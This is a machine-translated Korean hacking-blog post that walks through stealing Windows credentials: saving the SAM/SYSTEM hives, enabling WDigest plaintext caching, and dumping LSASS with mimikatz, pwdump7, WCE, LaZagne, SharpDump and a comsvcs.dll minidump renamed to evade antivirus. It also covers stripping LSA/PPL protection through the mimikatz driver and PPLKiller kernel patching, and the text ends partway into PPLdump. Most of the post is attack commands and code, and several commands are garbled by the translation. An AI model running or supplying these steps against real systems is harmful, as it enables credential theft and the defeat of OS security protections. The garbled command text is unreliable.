Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86369621

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

현재 기계의 일반 텍스트 비밀번호를 받으십시오

도메인 해시를 내보내기 전에 먼저 현재 컴퓨터의 로컬 해시 비밀번호를 내보내려고 노력할 수 있습니다. 도메인 사용자가 이전 에이 컴퓨터에 로그인하는 경우 도메인 사용자 또는 도메인 관리자의 계정을 직접 얻을 수 있습니다.

Windows 운영 체제에서 SAM 데이터베이스 (C: \ Windows \ System32 \ Config \ Sam)는 로컬 사용자의 해시를 저장합니다.

로컬 인증 프로세스에서 로컬 보안 권한 서비스 프로세스 lsass.exe도 메모리 (DMP 파일)의 사용자 비밀번호를 캐시합니다.

따라서 현재 기계의 해시를 크롤링하는 두 가지 방법 인 온라인 도구 추출 및 오프라인 분석 추출을 고려할 수 있습니다.

참고 : Windows 10 \ 2012R2 이후의 시스템 버전에서 시스템 사용자의 일반 텍스트 암호는 기본적으로 메모리 캐시에서 비활성화됩니다. 현재 Mimikatz를 사용하여 일반 텍스트를 잡을 수 있으며, 확실히 그것을 잡을 수 없습니다. 비밀번호 필드 숫자는 NULL로 직접 표시됩니다.

여기서는 일반 텍스트를 저장하기 위해 레지스트리를 수동으로 수정하여 크롤링 할 수 있습니다. (수정 후 로그인하기 전에 사용자에서 로그 아웃해야합니다)

reg 추가 hklm \\ system \\ currentControlset \\ Control \\ securityproviders \\ wdigest /v Uselogoncredential /t reg \ _dword /d 1 /f

Mimikatz

Mimikatz는 Frenchman Benjamin이 개발 한 강력한 경량 디버깅 도구입니다. 개인 테스트를위한 것이지만 강력한 기능으로 인해 Windows XP-2012와 같은 운영 체제의 일반 텍스트 암호를 직접 읽을 수 있으며 침투 테스트로 유명합니다. 그것은 침투에 필요한 도구라고 할 수 있습니다.

다운로드 주소 : https://github.com/gentilkiwi/mimikatz

1. 레지스트리를 통한 크롤링 해시

현재 시스템 레지스트리의 SAM 및 시스템 파일을 얻기 위해 명령 줄을 실행하십시오 (지역 관리자 권한 필요).

reg save hklm \\ system sys.hiv

reg save hklm \\ sam sam.hiv

파일을 얻은 후 파일을 공격자의 기본 컴퓨터로 다운로드하고 Mimikatz를 사용하여 오프라인 해시를 분석하고 추출 할 수 있습니다.

mimikatz.exe 'lsadump:sam /sam:sam.hiv /system:sys.hiv' 'exit'

이 방법은 SAM 파일에 저장된 로컬 사용자의 계정 만 얻을 수 있습니다.

pjno1avgdtk11742.png

2. Mimikatz를 대상 기계에 업로드하고 로컬 SAM 파일에 저장된 계정 해시 값을 추출하십시오.

권한 3:debug

TOKEN3:3360ELEVATE

LSADUMP3:SAM

1kdcsqhowgb11743.png

3. 해시를 lsass.exe의 메모리에서 확장하십시오

Mimikatz 'Privilege:debug' 'Sekurlsa:LogonPasswords Full' 'Exit'

14kwcpfe5zx11744.png

2ukljcxigxx11745.png

로컬 사용자에게 로그인 한 도메인 관리자의 해시 값이 로컬 사용자의 관리자 권한을 사용하여 캡처 한 것으로 나타났습니다.

pwdump7

pwdump7.exe를 직접 실행하십시오

ketxr4mztzy11746.png

wec

대상 기계에 업로드하고 매개 변수를 추가하여 직접 실행하십시오.

-L 로그인 세션 및 NTLM 자격 증명 (기본값)

-S 현재 로그인 세션 매개 변수의 NTLM 자격 증명 수정 : 사용자 이름 : DomainName :LM HASH :NT HASH

-R 정기적으로 로그인 세션 및 NTLM 자격 증명을 나열합니다. 새 세션이 발견되면 5 초마다 다시 되풀이됩니다.

-C 특수 NTML 자격 증명 매개 변수로 새 세션을 실행합니다.

-E 로그인 세션 및 NTLM 자격 증명을 수시로 나열하고 로그인 이벤트가 생성 될 때 한 번 다시 릴리스트

-o 모든 출력을 파일 매개 변수에 저장 : 파일 이름

-현재 로그인 세션 매개 변수 :을 사용하는 대신 루드를 지정합니다.

-D 로그인 세션 매개 변수 :에서 NTLM 자격 증명을 삭제합니다

-주소 매개 변수 : 주소를 사용합니다

-F Force Safe Mode

-G LM 및 NT 매개 변수 암호에 대한 해시를 생성합니다

-K 캐시 Kerberos 파일 (Unix 및 Windows WCE 형식) 티켓

-K 파일에서 Kerberos 티켓을 읽고 Windows 캐시에 삽입하십시오.

-W 다이제스트 인증을 통해 일반 텍스트 비밀번호를 캐시합니다

-V 상세한 출력

3ean1big5k211747.png

라자네

다운로드 주소 : https://github.com/alessandroz/lazagne

Lazagne.exe 모두

jfcj3htjvoh11748.png

SharpDump

https://github.com/ghostpack/sharpdump

직접 컴파일하면됩니다

./sharpdump

pmvh3bi0upq11749.png

lsasssilentprocessexit

https://mp.weixin.qq.com/s/8uer5DNAQS24KUKXU5YI9W

침묵 프로세스 출구, 즉 조용히 종료됩니다. 이 디버깅 기술은 werfault.exe 프로세스를 도출 할 수 있으며,이 프로세스는 프로그램을 실행하거나 모든 프로세스의 메모리 파일 또는 팝업을 재배치하는 데 사용할 수 있습니다.

주로 LSASSSILENTPROCESSEXIT API를 사용합니다. LEGISTION + 원격 프로세스 분사 및 관련 레지스트리 키 값을 수정하여 메모리를 덤프합니다.

#define ifeo \ _reg \ _key '소프트웨어 \\\\\ microsoft \\\\\\ Windows nt \\\\\ currentVersion \\\\\ execution 옵션 \\\\\'

#define silent \ _process \ _exit \ _reg \ _key '소프트웨어 \\\\\\ Microsoft \\\\\ Windows nt \\\\\ currentversion \\\\\ silentProcessexit \\\\\\'

원격 프로세스 주입을 사용하여 lsass.exe가 rtlreportsilentprocessexit 기능 자체를 호출하십시오.

hmodule hntdll=getModule Handle (l 'ntdll.dll');

rtlreportSilentProcessExit \ _func rtlreportSilentProcessExit=(rtlReportSilentProcessExit \ _func) getProcadDress (hntdll, 'rtlreportSilentProcessExit');

hthread=createremotethread (hprocess, null, 0, (lpthread \ _start \ _routine) rtlreportSilentProcessExit, (lpvoid) -1, null, null);

그러나 레지스트리를 수정해야하므로 소프트 킬링 환경을 우회하는 것은 거의 불가능합니다.

lsasssilentprocessexit.exe 616 0

qaaun3huzqw11750.png

민감한 환경에서 LSASS 프로세스를 덤프하는 방법

파일없이 PowerShell을 사용하여 파일없이 내보내십시오

https://blog.csdn.net/chenfeng857/article/details/120126818

https://xz.aliyun.com/t/12157#toc-9

comsvcs.dll, 시스템과 함께 제공됩니다. comsvcs.dll의 내보내기 함수 Minidump를 통해 덤프 메모리를 구현하십시오.

지정된 프로세스 메모리 파일을 덤프 할 때는 SedeBugPrivilege 권한이 필요합니다. 관리자 권한의 CMD에 따라 SedeBugPrivilege 권한은 기본적으로 지원되지만 상태는 비활성화됩니다.

sifcktu5lej11751.png

CMD에서 rundll32 명령을 직접 실행하고 지정된 프로세스 메모리 파일을 덤프하려고하면 sedebugprivilege 권한을 활성화 할 수 없으므로 덤프가 실패합니다.

그러나 관리자 권한이있는 PowerShell에서는 SedeBugPrivilege 권한이 기본적으로 지원되며 상태가 활성화됩니다.

wm4mflfiapa11752.png

먼저 lsass.exe 프로세스 PID를 확인하십시오

작업 목록 | findstr lsass.exe

rundll32.exe comsvcs.dll minidump pid 경로 가득

rundll32.exe comsvcs.dll minidump 1096 c: \\ users \\ 16229 \\ goodtop \\ 1.dmp full

직접 실행하면 소프트를 죽임으로써 가로 채워질 수 있습니다.

그것을 우회하는 간단한 방법 :

Copycomsvcs.dll to In Insensitive Directories 및 무작위로 명명 된 Test.dll

C: \\ Windows \\ System32 \\ comsvcs.dll test.dll을 복사하십시오

rundll32.exe c: \\ users \\ 16229 \\ goodtop \\ code \ _java \\ test.dll minidump 1096 c: \\ users \\ 16229 \\ goodtop \\ code \ _java \\ 3.dmp full

0guv5q35ymg11753.png

로컬로 드래그하고 분석을 위해 Mimikatz를 사용하십시오.

Mimikatz.exe log 'Sekurlsa3333:minidump 2.dmp' 'sekurlsa333:logonpasswords Full'Exit

runasppl이 활성화 된 환경에서

https://www.freebuf.com/articles/system/332506.html

https://xz.aliyun.com/t/12157#toc-19

Mimikatz

PPL 보호 기능을 사용하여 관리자조차도 LSASS 프로세스를 열 수 없습니다.

Mimikatz 'Privilege:debug' 'Sekurlsa:LogonPasswords Full' 'Exit'

d0wkes4rkbv11754.png

Mimikatzprivilege:debug의 명령이 성공적으로 활성화되었습니다. sedebugprivilege이지만 명령 sekurlsa333:0logonpasswords가 실패하고 오류 코드0x00000005가 나타납니다. Minikatz 코드 kuhl_m_sekurlsa_acquirelsa () 함수에서 간단히 이해할 수 있습니다.

hdata=null을 처리합니다.

dword pid;

dword processrights=process_vm_read | Process_Query_Information;

kull_m_process_getprocessidforname (l 'lsass.exe', pid);

hdata=OpenProcess (processrights, false, pid);

if (hdata hdata!=invalid_handle_value) {

//OpenProcess OK 인 경우

}

또 다른 {

print_error_auto (메모리 핸들);

}

프로세스 탐색기를 사용하여 LSASS 프로세스를 열어 볼 수있게되면 액세스가 거부됩니다.

ocqsvxruel211755.png

Mimikatz의 디지털 서명 드라이버를 사용하여 커널의 프로세스 객체에 대한 보호 플래그를 제거하십시오.

5b5tq51sdai11756.png

Minikatz 설치 드라이버

권한 3:debug

!+

1jah0m3o2ts11758.png

보호 삭제

! ProcessProtect /Process:lsass.exe /제거

hivl32vyf4u11759.png

그런 다음 비밀번호를 버릴 수 있습니다

Sekurlsa:LogonPasswords

4njxvib0z0p11760.png

도구를 사용하여 보호가 삭제 된 것을보십시오.

ii3z5li3hmc11761.png

mimikatz.exe 'privilege:debug' '!+' '! ProcessProtect /Process3:lsass.exe /제거' 'Sekurlsa33333:LogonPasswords'exit '

pplkiller

https://www.cnblogs.com/revercc/p/16961961.html

https://redcursor.com.au/bypassing-lsa-protection-aka-protected-process-light-withoutmimikatz-on-windows-10/

우선 순위 차이 : PP는 시그니처 레벨이 더 크거나 동일하다면 전체 액세스 권한으로 PP 또는 PPL을 열 수 있습니다. PPL은 서명 수준이 높거나 같으면 전체 액세스 권한으로 다른 PPL을 열 수 있습니다. 시그니처 레벨에 관계없이 PPL은 전체 액세스 권한이있는 PP를 열 수 없습니다.

PPL이 활성화되면 더 높은 보호 수준에서 실행되는 프로세스 만 보호 된 프로세스에서 작동 할 수 있습니다.

Windows 커널은 _eprocess 구조를 사용하여 커널 메모리의 프로세스를 나타냅니다. 여기에는 유형 (_ps_protected_type) 및 서명자 (_ps_protected_signer) 속성을 통해 프로세스의 보호 수준을 정의하는 _ps_protection 필드가 포함됩니다.

typedef struct _ps_protection {

연합 {

uchar 레벨;

구조 {

UCHAR 유형 : 3;

Uchar Audit : 1; //예약된

Uchar Signer : 4;

};

};

} ps_protection, *pps_protection;

구조물로 표시되지만 모든 정보는 단일 바이트의 두 개의 니블 (leveles a uchar, signed char)에 저장됩니다. 처음 3 자리는 보호 유형을 나타냅니다 (아래 ps_protected_type 참조). 프로세스가 PP 또는 PPL인지 정의합니다. 마지막 4 자리는 서명자 유형 (아래 PS_Protected_Signer 참조), 즉 실제 보호 수준을 나타냅니다.

typedef enum _ps_protected_type {

psprotectedTypenone=0,

psprotectedTyPepRotectedlight=1,

psprotectedTyPeprotected=2

} ps_protected_type, *pps_protected_type;

typedef enum _ps_protected_signer {

psprotectedSignerNone=0, //0

psprotectedSignerauthenticode, //1

psprotectedSignerCodeGen, //2

psprotectedSignerantimalware, //3

psprotectedSignerlsa, //4

psprotectedSignerWindows, //5

psprotectedSignerwintcb, //6

psprotectedSignerWinsystem, //7

psprotectedSignerApp, //8

psprotectedSignerMax //9

} ps_protected_signer, *pps_protected_signer;

LSA 보호를 우회하려면 eprocess 커널 구조를 패치하여 LSASS 프로세스의 PPL 플래그를 비활성화 할 수 있습니다. 이를 위해서는 LSASS eprocess 구조의 주소와 패치 5 값을 찾아야합니다.

EnumDevedIvers 기능은 커널베이스 주소를 누출하는 데 사용될 수 있습니다. 이것은 시스템 프로세스의 eprocess 구조를 가리키는 psinitialsystemprocess를 찾는 데 사용될 수 있습니다. 커널은 링크 된 목록에 프로세스를 저장하므로 Eprocess 구조의 ActiveProcessLinks를 사용하여 링크 된 목록을 반복하고 LSASS를 찾을 수 있습니다.

eprocess 구조를 살펴보면 패치해야 할 5 개의 필드가 일반적으로 4 바이트로 정렬되어 있음을 알 수 있습니다. 이를 통해 다음과 같이 단일 4 바이트 쓰기로 eprocess 구조를 패치 할 수 있습니다.

qtokgx2fzoj11762.png

주소를 찾은 후이 4 바이트의 값을 0으로 패치하십시오.

pplkiller.exe /installdriver

작업 목록 | findstr lsass.exe

pplkiller.exe /disableppl 688

다른 커널 버전을 만나면 프로그램이 4 바이트를 올바르게 패치 할 수 없으므로 동일한 버전의 컴퓨터를 찾아 LSASS 커널 주소를 WINDBG 디버깅을 통해 볼 수 있습니다.

bcdedit/debug onsrv \*https://msdl.microsoft.com/다운로드/기호

1ziy0bvg5oz11763.png

.Reload

! 프로세스 0 0 LSASS.EXE

dt \ _eprocess

l1bxl11fvnz11764.png

ynu0mxmul5t11765.png

arkyccmrsjv11766.png

주소0x6c0을 찾고 스크립트를 수정 한 다음 컴파일하십시오.

tussnijwbfu11767.png

ppldump

https://itm4n.github.io/the-end-of-ppldump/

https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/

PplDump는 C/C ++로 작성된 도구로 사용자 상태 취약성 착취를 구현하여 관리자로서 PPL에 임의 코드를 주입합니다. 이 기술은 Alex Ionescu와 James Forshaw가 보호 프로세스 (PP 및 PPL)에 대한 심층적 인 연구를 수행하는 많은 연구 결과 중 하나입니다.

ppldump의 작동 원리는 다음과 같습니다.

AP에 전화하십시오